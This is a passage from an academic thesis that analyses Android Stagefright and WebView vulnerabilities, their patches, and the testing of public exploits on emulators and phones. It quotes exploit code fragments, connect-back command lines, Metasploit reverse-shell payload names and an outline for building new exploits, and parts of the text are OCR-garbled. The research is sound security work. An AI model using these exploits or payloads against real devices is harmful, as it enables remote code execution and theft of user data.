Privilege escalation is done to achieve unauthorized elevated access to data or other resources in a system, which are only accessible to au• thorized high privilege application or user. The unauthorized access to data means, the attacker has access to images, contact list, mes• sages and important document stored in device. Compromising any resource (for ex: Web View) will facilitate attacker to execute any mali• cious code with in the context of compromised resource. To achieve

25 3- EXPLOITS CLASSIFICATION privilege escalation, either a bug or a design/implementation flaw in target application is exploited. Privilege escalation has always been a serious issue in Android systems. In [3], the authors are able to exploit a genuine application at run-time to achieve the granted privileges by the malicious application. The Android application runs in a sand• box as a separate user with restricted privileges. The communication and interaction between different applications is facilitated through IPC mechanism, which has its own permission model. Generally in Android, privilege escalation is achieved through exploiting arbitrary code execution vulnerabilities either in media server libraries or in some system server libraries. A recent privilege escalation vulnerability is reported in libstage- fright library of media server, which can enable a local crafted applica• tion to execute arbitrary code with in context of a privileged process. Even one of the latest release of Android version 7.1.2 (Nougat) is affected by this vulnerability (cve-2017-0594) [32]. The vulnerability is in Advanced Audio Coding (AAC) encoder in codecs in library lib- stagefright at location /Ubstagefright/codecs/aacenc/SoftAACEncoder2.cpp. Here the original code does not check for sufficient space in user supplied buffer before copying header information into it [34]. This vulnerability is patched by putting a condition to check whether the space asked is greater than the allocated space. The piece of code taken from respective diff file, which highlights the removed (vulnerable) lines by '-' and added lines using '+' is provided below:

+ if (outHeader->n0ffset + enclnfo.confSize > outHeader->nAllocLen) { + ALOGEC'b/34617444") ; + android_errorWriteLog(0x534e4554,"34617444" ) ; + notify(0MX_EventError, 0MX_ErrorUndefined, 0, NULL); + mSignalledError = true; + return; + }

26 4 Analysis of Selected Exploits

In this section five specific vulnerabilities of Android are selected for detailed analysis. Three of them are from Stagefright media library and two are from Web View component of Android. The analysis will include details about the vulnerability, attack mechanism and available exploits and their analysis. These vulnerabilities are:

• Stagefright Vulnerabilities

1. CVE-2015-1538 2. CVE-2015-3824 3. CVE-2015-3864

• Web View Vulnerabilities

1. CVE-2012-6636 2. CVE-2016-6754

4.1 Stagefright Vulnerabilities

Three vulnerabilities along with their exploits and respective patch are analyzed in this section. All the three vulnerabilities are due to improper integer handling. Two of them are integer overflow vulner• ability and the third is integer underflow vulnerability. An Integer Overflow is the condition that occurs when the result of an arithmetic operation, such as multiplication or addition, exceeds the maximum size of the integer type used to store it [2]. Integer Under-flows oc• cur when the result of an arithmetic operation is smaller than the minimum value of the destination integer type [2]. All the three vul• nerabilities can cause remote code execution, which may further used for privilege escalation also. Also cve-2015-3824 and cve-2015-3864 can lead to DoS due to memory corruption.

27 4. ANALYSIS OF SELECTED EXPLOITS

4.1.1 CVE-2015-1538 It is an integer overflow vulnerability found in four atoms of Sam- pleTable: :setSampleToChunkParams function of SampleTable.cpp file in libstagefright library [32]. The four vulnerable atoms are [1]:

1. stsc: It contains a table that maps samples to chunks.

2. ctts: It provides positive offsets from decoding to composition time, if they are different.

3. stts: It store duration information for media's samples and maps time to corresponding data sample.

4. stss: It contains a table of sample numbers with each entry in table identifies a sample that is a key frame for media.

Vulnerability The vulnerable part of code in the function setSampleToChunkParams of SampleTable.cpp is given below [35]. The variable nNutnSatnpleToChunkOff- sets takes input directly from the media header file. //line no. 227 mNumSampleToChunkOffsets = U32_AT(feheader [4]) ;

On looking at the above code it is observed that the value is passed directly from header of processed file. In the below line, the value is directly assigned to the variable nSampleToChunkEntries for internal processing. //line no. 233 & 234 mSampleToChunkEntries = new SampleToChunkEntry[mNumSampleToChunkOffsets];

Exploit The exploit can be triggered by using any of the four atoms discussed in section 4.1.1. Below shown is the part of exploit code (in python) responsible for crafted input into stsc atom [8]. Also any of the four atom can be used for exploit in similar manner.

28 4. ANALYSIS OF SELECTED EXPLOITS

ret += struct.pack('>L', OxcOOOOOOO + num_alloc) # mNumSampleToChunkOff set s

In the above piece of code a high value is packed in the crafted file. The position of this input is such that it will be accessed as mNum- SatnpleToChunkOffsets. for x in range(0, num_write): ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)

In the above piece of code the entries for the overflow are filled. ret = make_chunk(' stsc ' ret) ret = struct.pack( >>L' , 8 + 8 + (num_alloc * 12)) + ret [4 : ] return ret

Finally the stsc chunk is created, which is ready for overflow.

Patch The vulnerability is patched by checking the size [34]. if (SIZE_MAX / sizeof(SampleToChunkEntry) <= mNumSampleToChunkOff set s) + return ERR0R._0UT_0F_R.ANGE ;

4.1.2 CVE-2015-3824 It is an integer overflow vulnerability, identified in MPEG4Extractor.cpp file of libstagefright library [32]. The vulnerability was found in the case statement handling tx3g atom, which is a part of MPEG4Extractor::parseChunk function in MPEG4Extractor.cpp file of libstagefright library.

Vulnerability The vulnerable piece of code is given below, in this line there is no check on the maximum limit for the allocation of buffer. The type (std::nothrow) ensures to return null on failure rather throwing an exception. uint8_t *buffer = new (std::nothrow) uint8_t[size + chunk_size];

29 4- ANALYSIS OF SELECTED EXPLOITS

Here the assignment of memory with variable buffer is done with• out any cross verification of values of size and chunk_size. These vari• ables are user defined and can be manipulated in crafted media file. The vulnerability occurs when a specially crafted MP4 file is parsed. One of the most popular exploit is published in Northbit's Be'er paper [30] which works with HTML5 compliant browser.

Exploit

To exploit this integer overflow, the crafted MP4 file contains two tx3g atoms. The first with genuine contents while the second having a larger size, which leads to integer overflow. The tx3g atom is used to embed timed text (subtitles) into the media [30]. When these two atoms are added or appended in the temporary buffer, it causes heap overflow due to limited size of temporary buffer and memcpy call that in itself don't validate the destination size. Now with this the attacker is able to find out the address of heap buffer, and by reading the vtable pointer using video element's duration the code address can be retrieved. The code address may further lead to retrieval of address of libstagefright. With this information the exploit will create a ROP (return oriented programming) gadget chain dynamically [30]. The ruby lines exploiting the integer overflow are:

#Creation of genuine first tx3g atom tx3g_data = 'x' * tx3gl_padding tx3g_l = i;et_atom('tx3g' , tx3g_data)

#Creation of malicious tx3g atom to cause overflow big_num = Oxfffffffff - tx3g_l.length + 1 + vector _alloc_size tx3g_2 = £et_atom('tx3g ' , more_data, big_ num ) t

The above piece of code is part of exploit code responsible to ex• ploit integer overflow vulnerability. In this code a very high value is assigned to the variable big_num. This big_num will be allocated to the variable size in the media parser in libstagefright and will lead to integer overflow.

30 4. ANALYSIS OF SELECTED EXPLOITS

Patch This vulnerability is patched by adding a check on upper bound of addition of chunk_size and size. This patch was in compliance to rule- INT32C of SEI CERT C++ Coding Standards [27]. If the added value is found breaching the upper bound, error will be returned. The patch provided for the vulnerability is [34] given below. if (SIZE_MAX - chunk_size <= size) { return ERROR._MALFOR.MED ; }

The SIZE_MAX is defined to have largest value of size J. #ifndef SIZE_MAX #define SIZE_MAX ((size_t) -1)

The variable SIZE_MAX is used to set an upper bound for the value to be allocated to the media file. If the size mentioned in parsed file is greater than the maximum bound, the parsing will stop and return error with message ERROR_MALFORMED. But this patch to avoid integer overflow was incomplete. The situation for integer underflow was not taken care off. This resulted in integer underflow vulnerability, which is discussed in the next section.

4.1.3 CVE-2015-3864 It is an integer underflow vulnerability found in the same function (MPEG4Extractor::parseChunk) of same file (MPEG4Extractor.cpp) of libstagefright library in media server as in CVE-2015-3824 [33].

Vulnerability The integer overflow bug was fixed in MPEG4Extractor::parseChunk function but the situation resulting in integer underflow was not con• sidered at all. The vulnerable part of code in function MPEG4Extractor: :parseChunk is [34]: if (SIZE_MAX - chunk_size <= size) { return ERR0R_MALF0RMED;} uint8_t *buffer = new uint8_t[size+chunk_size];

31 4. ANALYSIS OF SELECTED EXPLOITS

The if statement in the above code checks for the maximum size bound by using variable SIZE_MAX against user given values in vari• able size. Here integer overflow is checked but no care has been taken for integer underflow.

Exploit The above piece of code was a fix for integer overflow vulnerability (CVE-2015-3824), but due to non-consideration of integer underflow in if condition, the code became vulnerable to integer underflow vul• nerability The exploit mechanism remains the same as it was for the previous vulnerability, but target devices increased. #Creation of genuine first tx3g atom tx3g_data = 'x' * tx3gl_padding tx3g_l = i;et_atom('tx3g' , tx3g_data)

#Creation of malicious tx3g atom to cause underflow big_num = Oxlffffffff - tx3g_l.length + 1 + vector _alloc_size tx3g_2 = j£et_atom('tx3g' , more_data, bignu_ m )

The above piece of code from the exploit is responsible to exploit integer underflow vulnerability. In place of a very high value, a nega• tive value is provided to the variable big_num. This big_num will be allocated to the variable size in the media parser in libstagefright and will lead to integer underflow.

Patch Finally, the vulnerability was patched by modifying the if statement to check both upper and lower bound for integer inputs. The patch is [34]:

if ((chunk..siz e > SIZE_MAX) 1 I (SIZE_ MAX - chunk_size <= size) ) { return ERR0R_ MALFORMED; }

Another condition is added to the if statement as shown above. This condition also ensures that the chunk_size is less than SIZE_MAX, or else the parsing will stop and return with error message.

32 4. ANALYSIS OF SELECTED EXPLOITS

4.2 Web View Vulnerabilities

Two vulnerabilities, their exploits and respective patches of Web View component are analyzed in this section. Both the exploits are crafted JavaScript codes. One exploits insufficient restrictions, while the other exploits a typo error.

4.2.1 CVE-2016-6754 It is an remote code execution vulnerability in the WebView component of Android, which is due to a typo graphic error in the V8 engine. V8 is an open source JavaScript engine, which compiles JavaScript to native machine language. V8 is a part of chromium project for the Google chrome web browser and is used in most Android build in web browsers (WebView) from version 4.4. This vulnerability was named as BadKernel and was discovered in August 2016 [12]. The affected versions of V8 were from 3.20 to 4.2 which were used in most Android's build-in browsers and one in every sixteen Android smart phones were affected by this [12].

Vulnerability The Android versions affected by this vulnerability were 5.0.x before 5.0.2,5.1.x before 5.1.1 and 6.x before 2016-11-05 [32]. By exploiting this vulnerability a remote attacker can execute arbitrary code with in the context of calling application, when the target is browsing a website. The attacker can further exploit any privilege escalation vulnerability (if it exist in device) to obtain root privileges, in any case the context and data of compromised resource can be used always. This bug was reported as 'issue: 1005553003' in the chromium code review and is available at [6]. The vulnerable piece of code is given below [6] In src/ messages.js: observe_invalid_accept: ["Object.observe accept must be an array of strings."]

The object is being created with name object_invalid_accept in file messages.js. But in below code the object called is different which is observe _accept_invalid. Thus the vulnerability is due to a typo. In src/object-observe.js:

33 4. ANALYSIS OF SELECTED EXPLOITS

if (!IS_SPEC_OBJECT(arg)) throw MakeTypeError("observe_accept_ invalid") ;

Exploit As it is clearly evident from the above two statements that the mes• sage to be displayed is different at exception generation and excep• tion handler. In messages.js it is observe_invalid_accept while in object- observe.js it is observe_accept_invalid. This typo has been targeted for the remote code execution in Android. This typo is exploited using the logical error handling methodology of JavaScript. The statement try....catch....finally been used and the arbitrary code is executed as part of catch(e) statement. The piece of JavaScript code which exploits this vulnerability is: Object.prototype.__defineGetter__("observe_accept_invalid ",function(){log("called"); kMessages=this}); try{Object . observe ({} , f unct ion (){},l)}catch(e)0 delete Object.prototype ["observe_accept_invalid "] ;

The above piece of code from exploit uses the undefined object observe_accept_invalid, and executes own code by triggering an error.

Patch

This vulnerability has been patched by correcting the typographic error in both the files. The patched code is given below: In src/messages.js: observe_invalid_accept ["Third arjjumen t to Ob j ect . observe must be an array of strings . "]

In src/object-observe.js: if (!IS_SPEC_OBJECT(arg)) throw MakeTypeError("observe_invalid_accept");

In the file object-observe.js, the typo has been corrected and ob• serve_accept_invalid is replaced by observe_invalid_accept.

34 4. ANALYSIS OF SELECTED EXPLOITS

4.2.2 CVE-2012-6636 It is known as Android Web View addJavaScriptlnterface vulnerability. The Android device can be exploited when an untrusted JavaScript code is executed by Web View component [5]. This vulnerability pro• vides remote access, if the target Android device is browsing malicious page or scanning a crafted Quick Response (QR) code.

Vulnerability In the code given below a new JavaScript object is created. The in• terface is added to the Web View. Now the JavaScript code can call Java objects. It can also be used to create custom interfaces. Which can cause arbitrary code execution through reflection [20]. Refer section 2.3.1 on how to create a Web View instance. class JsObject { private String sensitivelnformation; public String toStringO { return sensitivelnf ormation; } } webView . addJavascriptlnterf ace (new JsObjectO, " injectedObject");

Exploit The below piece of code is taken from [4]. It also serve as a metasploit module used to test this vulnerability. In the below code JavaScript interface is injected in the target device using WebView. For procedure of exploit refer Appendix F. def html(arch) "< body >< script >#{ add_javascript_interface_exploit_js(arch)}" end

Patch In the below code, annotation is used for Javascriptlnterface method [40]. This patch is enforced from API 17 (Android version 4.2). If this

35 4. ANALYSIS OF SELECTED EXPLOITS annotation is not provided in designed Web View instance, then the respective method will not be accessible by the webpage. class JsObject { QJavascriptlnterface public String toStringO { return "injectedObject " ; } } webView.loadUrl("javascript alert(inj ectedObject.toString ())"); But the issue comes when the applications with an WebView instance, designed to target API below 17. This makes those applications vulner• able. But from Android 4.4, Chrome web browser is used as Android's build-in browser (WebView). Applications can use this browser for web interfaces.

36 5 Evaluation and Modification of Selected Ex• ploits

In the previous chapter five vulnerabilities are discussed in detail. Three of them are from libstagefright library and the two are from WebView component. In this chapter the available exploits are tested against the vulnerable and patched versions of Android hosted on different platforms. In three cases the exploits are modified either due to non availability of exploit or the available exploit was not executable. The machines used for these experiments include both emulators and hardware devices.

5.1 Evaluation of Stagefright Attacks

Seven devices tested for the three stagefright vulnerabilities. Four of them are emulated devices and three are real hardware. The exploits are modified to test on patched devices. In case of Nexus 5X emulator with Android 6.0 the exploits are tested in original form and no modi• fications made. In case of Lenovo and Motorola devices, significant modifications are made and are discussed below. The experimentation results are tabulated in 5.1

5.1.1 CVE-2015-1538 The vulnerable versions are Android 5.1.1 LVY48C and before. The exploit is obtained from Exploit Database [8]. However, the exploit was not executable, so certain modifications had to be made to make it executable. The execution of exploit will create a crafted MP4 file, that can be transferred to target device. The complete procedure to exploit is described in Appendix A. The Android Virtual Device (AVD) details of vulnerable device is at Appendix B.

Modification in Exploit The original code obtained from [8] was not executable due to few syntax errors. The syntax errors were corrected to make it executable.

37 5- EVALUATION AND MODIFICATION OF SELECTED EXPLOITS

The part of code which can be modified to test on different patched devices is given below [8]: # Allow the user to override parameters parser = argparse.ArgumentParser() parser.add_argument('-c', '-connectback-host', dest=' cbhost ' , default= ' 31.3.3.7') parser.add_argument('-p', '-connectback-port', dest=' cbport', type=int, default=12345) parser.add_argument('-s' , '-spray - address ' , dest=' spray_addr', type=addr, default=None) parser.add_argument('-r' , '-rop-pivot ' , dest='rop_pivot ' , type=addr, default=None) parser.add_argument('-o' , '-output-file' , dest=' output_file ' , default='eve-2015-1538-1.mp4 ' )

In the above lines of code the modifiable parameters are connectback- host, connectback-port, spray-address and rop-pivot. But all these parame• ters can also be given as run time arguments during execution to create crafted MP4 file. Thus the exploit is tested for the patched devices using run time arguments. The detailed procedure to create crafted MP4 file and give arguments is placed at Appendix A. The run time arguments used for different devices are given below: #Usage of exploit python mp4.py -c -p - s - r

#Testing on Lenovo A6020a46 python mp4.py -c 192. 16 8 . 57.10 2 -p 4444 - s OxbOcOE300 0 -r 0x68783

#Testing on Motorola - Moto G python mp4.py -c 192. 16 8 . 57.10 2 -p 4444 - s 0xbl50£ 3000 -r 0x67f7b python mp4.py -c 192. 16 8 . 57.10 2 -p 4444 - s OxbOcOE300 0 -r 0x6f093 python mp4.py -c 192. 16 8 . 57.10 2 -p 4444 - s OxbOcOE300 0 -r 0x68783

5.1.2 CVE-2015-3824 The vulnerable versions are before Android 5.1.1 LMY48I. There was no exploit available in open source for this integer overflow vulner-

38 5- EVALUATION AND MODIFICATION OF SELECTED EXPLOITS

ability. Thus the exploit for buffer underflow obtained from Exploit Database [7] was modified. It is a browser based exploit and can be launched using metasploit environment. The complete procedure to exploit is described in Appendix C. The AVD details of vulnerable device is at Appendix D.

Modification in Exploit Three significant modifications are made in the available stagefright integer underflow exploit obtained from Exploit Database [7]. The modifications are:

1. Creation of Overflow Exploit: The ruby code available at [7] exploits integer underflow vulnerability. To make it work for in• teger overflow vulnerability following changes are made. These changes are also discussed in section 4.1.2. The lines with prefix '-' sign are removed and replaced by lines with'+' sign. #Creation of malicious tx3g atom to cause overflow - big_num = Oxlffffffff - tx3g_l. leng th + 1 + vector_ alloc_size - tx3g_2 = get_atom('tx3 g', more_ data , big _num ) + big_num = Oxfffffffff - tx3g_l. leng th + 1 + vector_ alloc_size + tx3g_2 = get_atom('tx3 g', more_ data , big _num )

2. Modifications to Test Lenovo A6020a46: The Lenovo - A6020a46 device with Android 5.1.1 (latest patch date is 1 Aug., 2016) has been tested. The same modified specifications are also used to test the integer underflow vulnerability in next section. The build number for Lenovo device under testing is LMY47V. The Return Oriented Programming (ROP) gadget for build LMY47V is avail• able in the used exploit with tag lmy-1. The same RoP gadget is used to test Lenovo device. The exploit is added with the target specifications. The target specifications added in existing exploit are: [ 'Lenovo (Lenovo A6020a46) with Android 5.1.1 (LMY47V ) ' , {

39 5- EVALUATION AND MODIFICATION OF SELECTED EXPLOITS

'Model' => 'Lenovo A6020a46', 'Build ' => ' LMY47V ' , 'Release' => '5.1.1', 'Rop' => 'lmy-1 ' , 'SprayAddress' => 0xb0c08000, 'SamplelteratorSize' => 0x78, 'VectorSize' => 0x8c }

3. Modifications to Test Motorola - Moto G: The Motorola - Moto G device with Android 6.0 (latest patch date is 1 Aug., 2017) has been tested. The same modified specifications are also used to test the integer underflow vulnerability in next section. The build number for Motorola device used for testing is XT1068. The ROP gadget for build XT1068 is not available in the existing exploit. So five target specifications are created to test all the available RoP gadget in the existing exploit. The target specifications added in existing exploit are: ['Motorola (MSM8626BP_10) with Android 6.0 ( XT1068) ' , { 'Model' => 'MPB24 . 65-34-3 ' , 'Build ' => 'XT1068 ' , 'Release ' => '6.0', 'Rop' => 'lmy-2' >] , ['Motorola (MSM8626BP_10) with Android 6.0 ( XT1068) ' , { 'Model' => 'MPB24 . 65-34-3 ' , 'Build ' => 'XT1068 ' , 'Release ' => '6.0', 'Rop' => 'lmy-1' >] , ['Motorola (MSM8626BP_10) with Android 6.0 ( XT1068) ' , { 'Model' => 'MPB24 . 65-34-3 ' , 'Build ' => 'XT1068 ' , 'Release ' => '6.0', 'Rop' => 'lrx ' , 'SprayAddress' => 0xbl508000

40 5- EVALUATION AND MODIFICATION OF SELECTED EXPLOITS

>] , ['Motorola (MSM8626BP_10) with Android 6.0 ( XT1068) ' , { 'Model' => 'MPB24.65-34-3' , 'Build ' => 'XT1068 ' , 'Release ' => '6.0', 'Rop' => 'shamu / LYZ28E' >] , ['Motorola (MSM8626BP_10) with Android 6.0 ( XT1068) ' , { 'Model' => 'MPB24.65-34-3' , 'Build ' => 'XT1068 ' , 'Release ' => '6.0', 'Rop' => 'shamu / LYZ28J' }]

5.1.3 CVE-2015-3864

The vulnerable versions for this vulnerability are Android 5.1 Lollipop (API 22) and before. The exploit is tested on vulnerable and patched version hosted on emulators and real hardware. The available module of metasploit (stagefright_mp4_tx3g_64bit) was used to test this vul• nerability. The complete procedure to exploit is described in Appendix E. The AVD details of vulnerable device is at Appendix D.

Modification in Exploits

The exploit is obtained from Exploit Database [7], it is also used as metasploit module. The modifications are made to test the available exploit for Lenovo - A6020a46 device with Android 5.1.1 (latest patch date is 1 Aug., 2016) and Motorola - Moto G device with Android 6.0 (latest patch date is 1 Aug., 2017). The modifications made in exploits are same as discussed in previous section (CVE-2015-3824) for the respective devices.

41 5- EVALUATION AND MODIFICATION OF SELECTED EXPLOITS

Table 5.1: Stagefright Vulnerability Results Make- Android Vulnera• Exploi• Device Type API Model Version ble table Emulator Nexus 4.1 16 YES YES Emulator Nexus 5 5.1 21 YES YES Emulator Nexus 6 5.1 21 YES YES Hardware Samsung S5 5.0 20 YES YES Emulator Nexus 5X 6.0 23 NO NO Hardware Lenovo A8 5.1.1 22 NO NO Hardware Motorola G 6.0 23 NO NO

5.2 Evaluation of Attacks on Web View

The two vulnerabilities analyzed in Web View component are of dif• ferent types. Thus the devices selected to test both vulnerabilities are different.

5.2.1 CVE-2016-6754 The vulnerable versions for this vulnerability are Android 5.0 and 5.0.1 Lollipop (API 21), Android 5.1 Lollipop (API 22) and Android 6.0 and 6.0.1 Marshmallow (API 23 released on Oct 5, 2015 and Dec 7, 2015 respectively) [32]. The exploit is obtained from Exploit Database [10]. The exploit was not executable, thus it was modified and made executable. The exploit is tested on total nine devices, three were vul• nerable while six were not vulnerable. The devices includes emulators with version Android 5.0, 5.1, 5.1.1, 6.0 and 6.1 and hardware with version Android 4.4.2, 5.1.1 and 6.0. The exploit results on vulnerable and patched devices are tabulated in table 5.2.

Modification in Exploit The vulnerability is caused by a 'typo', thus the aim was to check whether the object with typo error exists or not. The files messages.js and object-observe.js were seen manually for any other typo. The exploit is obtained from Exploit Database [10]. Few lines with alert message is

42 5- EVALUATION AND MODIFICATION OF SELECTED EXPLOITS

Table 5.2: CVE-2016-6754 Exploit Results Make- Android Vulnera• Exploi• Device Type API Model Version ble table Emulator Nexus 4 5.0.0 21 YES YES Emulator Nexus 5 5.1 21 YES YES Emulator Galaxy S6 5.0 21 YES YES Emulator Galaxy S6 6.0 23 NO NO Emulator Nexus 5X 6.0 23 NO NO Emulator MotoX 4.3 18 NO NO Hardware Samsung C2 4.4.2 19 NO NO Hardware Lenovo A8 5.1.1 22 NO NO Hardware Motorola G 6.0 23 NO NO

added to the exploit to check the invocation of vulnerable object. The exploit has been tested on different browsers of patched devices and results are placed at table 5.2. Four different payloads created using msfvenom module of metasploit and tested on patched devices. The payloads are: 1. linux / armle / meterpreter / reverse_tcp 2. android / meterpreter / reverse_tcp 3. android / meterpreter / reverse_http 4. android/ shell/ reverse_tcp

5.2.2 CVE-2012-6636 The device vulnerable are Android 4.1.x and before [32]. The web- view instance is created for this exploit, section 2.3.1 explains how to create a webview instance. The Metasploit module available (we- bview_addjavascriptinterface) for this vulnerability is used for the exploit. The exploit is tested on total seven devices, two were vulnera• ble while five were not vulnerable. The detailed procedure to run the exploit is placed at Appendix F. The exploit results on vulnerable and patched devices are tabulated in table 5.3.

43 5- EVALUATION AND MODIFICATION OF SELECTED EXPLOITS

Table 5.3: CVE-2012-6636 Exploit Results Make- Android Vulnera• Exploi• Device Type API Model Version ble table Emulator Sony Z 4.1.1 16 YES YES Emulator Nexus S 4.1.1 16 YES YES Emulator MotoX 4.3 18 NO NO Emulator Samsung N2 4.2.2 17 NO NO Emulator HTC LTE 4.2.2 17 NO NO Emulator Sony Z 4.2.2 17 NO NO Hardware Samsung C2 4.4.2 19 NO NO

Modification in Exploit The exploit directly injects JavaScript interface in Web View, if JavaScript interface vulnerability exists. Since API 17, Android has annotated the JS interface method to patch this vulnerability. The Web View com• ponent in patched versions, without annotation will not be able to access the desired webpage. The vulnerable Web View component is installed on different patched devices and tested for the vulnerabil• ity. In this exploit, modification was not feasible due to nature of the vulnerability.

44 6 Conclusion

The majority of successful attacks are result of user's negligence, user's unawareness or lack of updates from Original Equipment Manufac• turer (OEMs) [28]. Half of the Android devices found unpatched in year 2016 [15]. The Android powered devices are becoming more so• phisticated. Similarly the attacks are also getting more sophisticated, dynamically built ROP chain based attacks and Row-Hammer attacks are example. Some of the recent exploits are so powerful, that they are capable of attacking the target system without even user confirmation. Stagefright exploit with Multimedia Messaging service (MMS) attack vector is good example here. The vulnerabilities of libstagefright discussed in this work were so powerful that it can make an user to fall prey to a innocent looking media. The stagefright exploits can also be very useful in case of tar• geted attacks. The situation became worse when the integer overflow vulnerability in libstagefright was not patched properly (as reported as CVE-2015-3824) as per to CERT coding standard [27] and resulted in integer underflow. The libstagefright library is coded in C++ and most of the vulner• abilities found are due to unchecked bounds. These vulnerabilities would have been detected automatically using static analysis. But the vulnerability due to typo (unchecked exception) in Web View us• ing V8 engine cannot be detected automatically. The usage of secure coding principles and doing static analysis can reduce probability of unchecked bound vulnerabilities. Most of the vulnerabilities related to Android are discovered by security professionals and are reported to Google for respective patch. The Google patches the vulnerability and make it available to other Android OEMs. This is where the Android's biggest flaw gets exposed. As it can take months for the patch to reach each and every Android device of every OEMs. So for this long period many such devices remain vulnerable with an reported vulnerability (some times also with PoC exploit). After the patch is released, the vulnerability is also registered at Common Vulnerabilities and Exposures (CVE), which is a dictionary of common names (i.e., CVE Identifiers) for publicly known cyber security vulnerabilities [32].

45 6. CONCLUSION

After executing the exploits for selected vulnerabilities on Android 5.0, 5.0.1, 5.1, 5.1.1, 6.0 and 6.0.1 hosted on emulator (Nexus device), Lenovo, Motorola and Samsung Hardware. It was observed that the vulnerabilities are patched as committed in patches

46 7 Future Work

Two recent vulnerabilities in libstagefright library are reported, dis• cussed in section 3.2 and 3.5. The first is remote code execution vul• nerability assigned cve-2017-0745 and other is privilege escalation vulnerability assigned cve-2017-0594. There are no open source ex• ploits available for them. A PoC exploit can be created for one of the two. The approach to create exploits is explained below:

1. CVE-2017-0745: The vulnerable file (vop.cpp) is available at [39]. The ttnpvar (at line 85) is of type uint32. If a negative value is assigned through crafted input, ttnpvar (at lines 1332 and 1335) will have a very large value. In line 1338, video-> display Width is affected and it further affects video->Width at line 1340. In line 1353, video-> display Height is affected and it further affects video- >Height at line 1354. Now looking further to the variables af• fected by these parameters. The values of variable video->Height and video->Width are assigned to video->nTotalMB at line 692. 85 uint32 tmpvar, vol_shape; 1332 tmpvar = BitstreamReadBits16(stream , 8) ;

1335 tmpvar = BitstreamReadBits16(stream , 8) ;

1337 tmpvar = BitstreamReadBitsl6(stream, 9) ; 1338 video->displayWidth = (tmpvar + 1) << 2;

1340 video->width = (video->displayWidth + 15) & -16; 1341 /* marker bit */

1353 video->displayHeight = tmpvar << 2; 1354 video->height = (video->displayHeight + 15) & -16;

690 video->nMBPerRow = video->width / MB_SIZE; 691 video->nMBPerCol = video->height / MB_SIZE; 692 video->nTotalMB = video->nMBPerRow * video->nMBPerCol;

47 7. FUTURE WORK

The value of video->nTotalMB is used for memset in file data- part_decode.cpp in same directory. This is evident in below code at line numbers 49, 61 and 62. Thus by causing a memory overflow, heap address can be obtained and in heap an arbitrary code can be injected (possibly an ROP chain). 49 int nTotalMB = video->nTotalMB;

61 oscl_memset(video->motX, 0, sizeof(MOT)*4* nTotalMB); 62 oscl_memset(video->motY, 0, sizeof(MOT)*4* nTotalMB);

2. CVE-2017-0594: The vulnerable file (SoftAACEncoder2.cpp) is avail• able at [38]. By looking into the file it is found that the header information is copied to outHeader at line 512. The header in• formation is further propagated to out at line 516 without any check. At line 517 memcpy assigns memory based on out. 512 OMX_BUFFERHEADERTYPE *outHeader = outInfo-> mHeader; 513 outHeader->nFilledLen = enclnfo.confSize; 514 outHeader->nFlags = OMX_BUFFERFLAG_CODECCONFIG;

516 uint8_t *out = outHeader->pBuffer + outHeader ->n0ffset; 517 memcpy(out, enclnfo.confBuf, enclnfo.confSize );

The out at line 516 can be made to point at any memory in the context space by giving large values to outHeader->pBuffer and outHeader->nOffset. The memcpy at line 517 will put attacker's data at that location. For example out can be pointed to a return address in stack and the return address can be replaced by an arbitrary code.

48 Bibliography

[1] Apple Computer. Quick Time File Format. Apple Computer, Inc, Mar. 1, 2001. [2] Robert Augur. Integer Overflow. The Web Application Security Consortium, 2010. URL: http : / /projects . webappsec . org / w / page / 13246946 / Integer % 5C % 200verf lows (visited on 11/10/2017). [3] Lucas Davi et al. "Privilege Escalation Attacks on Android". In: Information Security: 13th International Conference, ISC 2010, Boca Raton, FL, USA, October 25-28, 2010, Revised Selected Papers. Ed. by Mike Burmester et al. Berlin, Heidelberg: Springer Berlin Heidelberg, 2011, pp. 346-360. ISBN: 978-3-642-18178-8. DOI: 10. 1007/978-3-642- 18178-8_30. URL: https : //doi . org/10 . 1007/978-3-642-18178-8_30. [4] Joshua "jduck" Drake and Joev. Google Android 4.2 Browser and WebView -'addjavascriptlnterface' Code Execution (Metasploit). Ex• ploit Database, Dec. 21, 2012. URL: https : / /www. exploit-db . com/exploits/41675/ (visited on 08/19/2017). [5] D. Dieterle. Android Webview Exploit Tutorial (70% of Devices Vul• nerable!) CYBER ARMS Computer Security, Feb. 26, 2014. URL: https : //cyberarms . wordpress . com/2014/02/26/android- webview-exploit-tutorial-70-of-devices-vulnerable(vis• ited on 10/28/2017). [6] Adamk. Issue 1005553003: Fix error message for Object.observe ac• cept argument (Closed). Chromium Code Reviews, Mar. 2015. URL: https : //codereview . chromium . org/1005553003 (visited on 06/08/2017). [7] Joshua "jduck" Drake. Google Android 5.0 < 5.1.1 - 'Stagefright' .MP4 tx3g Integer Overflow (Metasploit). Exploit Database, Sept. 17, 2015. URL: https : / / www . exploit - db . com/ exploits /40436/ (visited on 09/17/2017). [8] Joshua "jduck" Drake. Google Android -' Stagef right' Remote Code Execution. Exploit Database, Sept. 9, 2015. URL: https : / /www. exploit-db.com/exploits/38124/ (visited on 09/03/2017). [9] Joshua "jduck" Drake. Stagefright: Scary Code in the Heart of An• droid. May 8, 2015. URL: https : //www. blackhat. com/docs/us-

49 BIBLIOGRAPHY 15 /materials /us - 15 - Drake - Stagef right - Scary- Code - In- The-Heart-Of-Android.pdf. [10] G. Gong. Google Android - 'BadKerneV Remote Code Execution. Ex• ploit Database, Nov. 28, 2015. URL: https : //www. exploit-db . com/exploits/40846 (visited on 05/17/2017). [11] Bin Zhang et al. "Memory corruption vulnerabilities detection for Android binary software". In: Signal Processing, Communi• cations and Computing (ICSPCC). IEEE International Conference at Ningbo' 15. IEEE, 2015. URL: http: //ieeexplore. ieee. org/ document/7338757/?reload=true. [12] Yuan Deng Guang Gong. BadKernel — Exploit V8 with a typo. Github, Nov. 28, 2016. URL: https : //github. com/secmob/BadKe rnel (visited on 05/15/2017). [13] Matthieu Jimenez et al. "Profiling Android Vulnerabilities". In: Software Quality, Reliablility and Security (QRS). IEEE Interna• tional Conference' 16. IEEE, 2016. ISBN: 987-1-5090-4127-5. URL: http://ieeexplore.ieee.org/document/7589802/. [14] Mistercheese. [ROM][6.0.x] AOSP - CAP [LA.BR.1.2.7_rbl.25]. XDA Developers, June 17, 2016. URL: https : / /forum . xda-d evelopers.com/lg-g3/development/rom-aosp-code-aurora- forum- t3400800 (visited on 10/03/2017). [15] Tom Spring. Half of the Android Devices Unpatched Last Year. Threat Post, Mar. 23, 2016. URL: https : //threatpost. com/half-of- android-devices-unpatched-last-year/124511 (visited on 11/03/2017). [16] Kai Wang, Yuqing Zhang, and 